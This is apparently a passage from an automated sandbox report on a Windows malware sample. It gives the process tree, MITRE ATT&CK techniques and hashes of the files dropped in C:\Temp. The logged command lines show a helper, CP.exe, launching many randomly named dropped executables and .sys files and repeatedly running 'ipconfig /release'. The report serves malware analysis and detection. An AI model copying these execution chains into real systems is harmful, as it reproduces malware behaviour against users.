      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6216,i,3673496181514724282,17578949096493793307,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:14
      4⤵
      PID:3068
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6556,i,1469010201988933125,8550114664770263710,262144 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:10
      4⤵
      PID:3644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5780,i,12539565859900624929,10060650581320021357,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:14
      4⤵
      PID:4540
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecxupnhfzs.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2468
- - C:\Temp\ecxupnhfzs.exe
    C:\Temp\ecxupnhfzs.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4552
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1760
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4860
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ecxupnhfzs.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4116
- - C:\Temp\i_ecxupnhfzs.exe
    C:\Temp\i_ecxupnhfzs.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1692
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fzwurmkecx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5088
- - C:\Temp\fzwurmkecx.exe
    C:\Temp\fzwurmkecx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4076
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3628
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fzwurmkecx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4812
- - C:\Temp\i_fzwurmkecx.exe
    C:\Temp\i_fzwurmkecx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:880
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mgeywrojhb.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1400
- - C:\Temp\mgeywrojhb.exe
    C:\Temp\mgeywrojhb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1264
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3688
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mgeywrojhb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2428
- - C:\Temp\i_mgeywrojhb.exe
    C:\Temp\i_mgeywrojhb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4148
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ebztrlgebw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2980
- - C:\Temp\ebztrlgebw.exe
    C:\Temp\ebztrlgebw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2276
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3644
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ebztrlgebw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3000
- - C:\Temp\i_ebztrlgebw.exe
    C:\Temp\i_ebztrlgebw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\oigbytrljd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3444
- - C:\Temp\oigbytrljd.exe
    C:\Temp\oigbytrljd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3528
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4408
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3208
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_oigbytrljd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3736
- - C:\Temp\i_oigbytrljd.exe
    C:\Temp\i_oigbytrljd.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1012
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tnlfdyvqni.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:896
- - C:\Temp\tnlfdyvqni.exe
    C:\Temp\tnlfdyvqni.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2452
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:608
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2628
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tnlfdyvqni.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1452
- - C:\Temp\i_tnlfdyvqni.exe
    C:\Temp\i_tnlfdyvqni.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4444
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\cavsnlfdxv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2544
- - C:\Temp\cavsnlfdxv.exe
    C:\Temp\cavsnlfdxv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1828
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1496
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:712
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_cavsnlfdxv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2316
- - C:\Temp\i_cavsnlfdxv.exe
    C:\Temp\i_cavsnlfdxv.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3268
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\snkfdxvpnl.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4516
- - C:\Temp\snkfdxvpnl.exe
    C:\Temp\snkfdxvpnl.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2440
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3880
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4436
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_snkfdxvpnl.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4928
- - C:\Temp\i_snkfdxvpnl.exe
    C:\Temp\i_snkfdxvpnl.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1836
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\usmkfcxvpn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5044
- - C:\Temp\usmkfcxvpn.exe
    C:\Temp\usmkfcxvpn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4444
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2480
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4420
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_usmkfcxvpn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2264
- - C:\Temp\i_usmkfcxvpn.exe
    C:\Temp\i_usmkfcxvpn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5112
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\keczurmjhc.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4956
- - C:\Temp\keczurmjhc.exe
    C:\Temp\keczurmjhc.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3208
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:484
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1072
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_keczurmjhc.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3388
- - C:\Temp\i_keczurmjhc.exe
    C:\Temp\i_keczurmjhc.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4512
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\uomhezwrpj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4476
- - C:\Temp\uomhezwrpj.exe
    C:\Temp\uomhezwrpj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:240
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:544
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4856
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_uomhezwrpj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1752
- - C:\Temp\i_uomhezwrpj.exe
    C:\Temp\i_uomhezwrpj.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1704
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ebwuomjebz.exe ups_run
  2⤵
  PID:3296
- - C:\Temp\ebwuomjebz.exe
    C:\Temp\ebwuomjebz.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:720
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4876
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1732
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ebwuomjebz.exe ups_ins
  2⤵
  PID:4664
- - C:\Temp\i_ebwuomjebz.exe
    C:\Temp\i_ebwuomjebz.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4532
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\eywqojgbzt.exe ups_run
  2⤵
  PID:616
- - C:\Temp\eywqojgbzt.exe
    C:\Temp\eywqojgbzt.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3860
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:576
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3472
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_eywqojgbzt.exe ups_ins
  2⤵
  PID:4368
- - C:\Temp\i_eywqojgbzt.exe
    C:\Temp\i_eywqojgbzt.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:784
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ywqolfdyvt.exe ups_run
  2⤵
  PID:3336
- - C:\Temp\ywqolfdyvt.exe
    C:\Temp\ywqolfdyvt.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3120
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2360
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2464
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ywqolfdyvt.exe ups_ins
  2⤵
  PID:3688
- - C:\Temp\i_ywqolfdyvt.exe
    C:\Temp\i_ywqolfdyvt.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:232
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vtnlfdyvqn.exe ups_run
  2⤵
  PID:3472
- - C:\Temp\vtnlfdyvqn.exe
    C:\Temp\vtnlfdyvqn.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4280
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4716
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2584
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vtnlfdyvqn.exe ups_ins
  2⤵
  PID:3592
- - C:\Temp\i_vtnlfdyvqn.exe
    C:\Temp\i_vtnlfdyvqn.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:436
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qkfdxvpnif.exe ups_run
  2⤵
  PID:1000
- - C:\Temp\qkfdxvpnif.exe
    C:\Temp\qkfdxvpnif.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1472
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3196
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2864
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qkfdxvpnif.exe ups_ins
  2⤵
  PID:1260
- - C:\Temp\i_qkfdxvpnif.exe
    C:\Temp\i_qkfdxvpnif.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3500
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\spkicxvpki.exe ups_run
  2⤵
  PID:4136
- - C:\Temp\spkicxvpki.exe
    C:\Temp\spkicxvpki.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1116
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2248
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2620
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_spkicxvpki.exe ups_ins
  2⤵
  PID:1200
- - C:\Temp\i_spkicxvpki.exe
    C:\Temp\i_spkicxvpki.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4572
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\cxupmhfzxr.exe ups_run
  2⤵
  PID:2532
- - C:\Temp\cxupmhfzxr.exe
    C:\Temp\cxupmhfzxr.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:232
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2232
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3892
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_cxupmhfzxr.exe ups_ins
  2⤵
  PID:5056
- - C:\Temp\i_cxupmhfzxr.exe
    C:\Temp\i_cxupmhfzxr.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2548
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\uomheztrmj.exe ups_run
  2⤵
  PID:556
- - C:\Temp\uomheztrmj.exe
    C:\Temp\uomheztrmj.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2208
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3844
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:560
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_uomheztrmj.exe ups_ins
  2⤵
  PID:4104
- - C:\Temp\i_uomheztrmj.exe
    C:\Temp\i_uomheztrmj.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ojhbztrmje.exe ups_run
  2⤵
  PID:1056
- - C:\Temp\ojhbztrmje.exe
    C:\Temp\ojhbztrmje.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4504
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:612
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4064

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2548

C:\Temp\upnhxupmke.sys
C:\Temp\upnhxupmke.sys
1⤵
- Executes dropped EXE
PID:3956

C:\Temp\ezwrpjhbzt.sys
C:\Temp\ezwrpjhbzt.sys
1⤵
- Executes dropped EXE
PID:484

C:\Temp\ojgbztrmge.sys
C:\Temp\ojgbztrmge.sys
1⤵
- Executes dropped EXE
PID:236

C:\Temp\bwtolgeywq.sys
C:\Temp\bwtolgeywq.sys
1⤵
- Executes dropped EXE
PID:1044

C:\Temp\gaysqlfdyv.sys
C:\Temp\gaysqlfdyv.sys
1⤵
- Executes dropped EXE
PID:3256

C:\Temp\ysqlidavtn.sys
C:\Temp\ysqlidavtn.sys
1⤵
- Executes dropped EXE
PID:576

C:\Temp\cxvpnhfaxs.sys
C:\Temp\cxvpnhfaxs.sys
1⤵
- Executes dropped EXE
PID:1756

C:\Temp\kfcxusmkfc.sys
C:\Temp\kfcxusmkfc.sys
1⤵
- Executes dropped EXE
PID:2988

C:\Temp\rpjhczurmk.sys
C:\Temp\rpjhczurmk.sys
1⤵
- Executes dropped EXE
PID:4132

C:\Temp\mhezxrmkhb.sys
C:\Temp\mhezxrmkhb.sys
1⤵
- Executes dropped EXE
PID:3500

C:\Temp\ljebwuomje.sys
C:\Temp\ljebwuomje.sys
1⤵
PID:4132

C:\Temp\jgbvtqljgb.sys
C:\Temp\jgbvtqljgb.sys
1⤵
PID:3644

C:\Temp\gaytqljdbv.sys
C:\Temp\gaytqljdbv.sys
1⤵
PID:1200

C:\Temp\jdbvtnliga.sys
C:\Temp\jdbvtnliga.sys
1⤵
PID:4416

C:\Temp\avsnlfdxvp.sys
C:\Temp\avsnlfdxvp.sys
1⤵
PID:1704

C:\Temp\fdxvpnhfax.sys
C:\Temp\fdxvpnhfax.sys
1⤵
PID:4192

C:\Temp\nhfzxspkhc.sys
C:\Temp\nhfzxspkhc.sys
1⤵
PID:572

C:\Temp\khczusmkec.sys
C:\Temp\khczusmkec.sys
1⤵
PID:2764

C:\Temp\zurpjebwuo.sys
C:\Temp\zurpjebwuo.sys
1⤵
PID:4512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bwtolgeywq.sys

Path C:\Temp\bwtolgeywq.sys
Size 141KB
SHA256 840c7275f6e9635c8d4226d7463e2e35536fd0ff12b3b7f67a76f034ea0e4e76
MD5 dc415fedae79199c2a1bcdff7b556f08
SHA1 b37a7740a866642c4dc32b12a51ae6caf41f2836
SHA512 eea0888358081a971023060f9286b751761856bed7a449833df278781a6715538e73b50979da5c6b64193bcd8b67c8e8317c3505781feb928e702088b34419bc
SSDEEP 3072:wsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:wsQmpcF8BzXfwV
TLSH
T1E6E38D02B2D19172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ebztrlgebw.exe

Path C:\Temp\ebztrlgebw.exe
Size 291KB
SHA256 8520f040d3b7614421ca86dd72be4bfafd23f207821b650eaec1bbc5c2ee108a
MD5 4d911c6dd03159819e85359f8ab9dd0e
SHA1 db508320ee679da5200eacdb2f28aa5719155c50
SHA512 cdf8be46fa5c60f155b60ad6127ea1bc94899e9c31982a949446185124bfcba3f73f125727a9314b9fb36c2551f26a9a43310a73e146e87492f38f5655414708
SSDEEP 3072:NJWhL0cgHsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZwuhT7kr9+rY9:NghLWsQmpcF8BzXfwVTTIr9N
TLSH
T1CD544A0272808071E7560B78045AE7A14A7E7D344BB5D68FF7A83B7A5E702D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecxupnhfzs.exe

Path C:\Temp\ecxupnhfzs.exe
Size 291KB
SHA256 45bbd1545bed473071afbb833f6f12f06276b779c5963c2ffdc728a6ea9b8203
MD5 385a523d70aa30ff6bcca0aa738b66a5
SHA1 7aadb411178d437ce127ae6fbad344a46676f6cc
SHA512 8ad13175f4591e66731178a3436c413e5bca1ba50b94c62e6807d12c2f72e949f11e7923c884de46d9b1f7fdd9d6a3596a949fff1a89c127b4fa81434ffa19f8
SSDEEP 3072:K7JWhL0cgHsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZwuhT7kr9+rY9T:K7ghLWsQmpcF8BzXfwVTTIr9Nx
TLSH
T14D544A0272808071E7560B78045AE7A14ABE7D340BB5D68FF7A43B7A5E702D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ezwrpjhbzt.sys

Path C:\Temp\ezwrpjhbzt.sys
Size 141KB
SHA256 c136cacd82eba9f791fc97646460eebba8f0f6b1bcc1e2cc7fb657bb27852149
MD5 6894162c336d43f24f171ae5e551e60b
SHA1 a2f3e0a1be4bcdfef03c7bbfae91151a679c4bb5
SHA512 6023361ca24cb080df7b01b564fd8721b858a2d3808000f5f57ad9dd4c1417afd9ef000405fe80961e9c34de2b0910207198aeb5f7ff7e354f428c73e6c8ac2c
SSDEEP 3072:/sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:/sQmpcF8BzXfwV
TLSH
T165E38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fzwurmkecx.exe

Path C:\Temp\fzwurmkecx.exe
Size 291KB
SHA256 003c8e1fcd1058654bcea0b3e257ce9846967c90ea07415ff6220bafa5fe4116
MD5 a25760a376672705617ad93b6b82867e
SHA1 b662e21e3ea60d81f335dc3dd3bc78ad5ef99d4c
SHA512 1ffae73f7d77c7832083ae108544935c5e90d707b185aba3e86fb5dd53f677c25bfab6dff147c9c1ad02679da01a42fc10aa758070fa849453c8aecad51c2d89
SSDEEP 3072:VJWhL0cgHsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZwuhT7kr9+rY9:VghLWsQmpcF8BzXfwVTTIr9N
TLSH
T1BB544A1272808071E7560B78045AE7A14A7E7D340BB5D68FF7A83B7A5E702D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gaysqlfdyv.sys

Path C:\Temp\gaysqlfdyv.sys
Size 141KB
SHA256 fa25deff36c90925d0bdf03d8cc6757e3dc5152079f6838f811c81aaf3580c3c
MD5 367098317eef51eb1863ee8f344ed436
SHA1 0c4fc0af4018fd307ae8154b428e5bcc650729e0
SHA512 1041a5c4fed7d4ae5b56b2c41b60af9e97c49aa148449a548f5e63e981d9ebe28a5a51f179b5e94498d5a9efa7e96669907cc205d8464c060ef968e4144b13c9
SSDEEP 3072:CsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:CsQmpcF8BzXfwV
TLSH
T188E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ebztrlgebw.exe

Path C:\Temp\i_ebztrlgebw.exe
Size 291KB
SHA256 6aea92c2a701f7c8413a92e2d1fd14fe479cd650b32c3ab43f91751fbf988d72
MD5 f76b0086f9cb97ed61fe12c47774d7e0
SHA1 01d96c7093c10b8a8c7950a676ea9831437f40ad
SHA512 e9b277dc7f158f1b5d0336bd3a84ec72a8f39971b467bdc91a7cd918ec7002d3517af5c915354eb8e3115124078258b52463f0871ee5e4653ada6b7f0a263be7
SSDEEP 3072:OJWhL0cgHsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZwuhT7kr9+rY9:OghLWsQmpcF8BzXfwVTTIr9N
TLSH
T1ED544A0272808071E7560B78045AE7A14ABE7D340BB5D68FF7A43B7A5E712D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ecxupnhfzs.exe

Path C:\Temp\i_ecxupnhfzs.exe
Size 291KB
SHA256 8f4318f041b4b8d73edf441573f6a4fb53aaea8a90481f04e97076e99d04e4d9
MD5 838c817e7c658a5b3c661a21ed29f1ae
SHA1 88429f1190bcd7c1e87eb2acfa8f1f1236dfddf2
SHA512 e74a084b6ebcfb015fa3a52e539a776cf7f7bacd41b6bddc9ca97a0d386486a3771a5e09fdef9ae6a21ca1b0a295b2392e0105d8aa46747d8feb3127294ac69c
SSDEEP 3072:AJWhL0cgHsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZwuhT7kr9+rY9:AghLWsQmpcF8BzXfwVTTIr9N
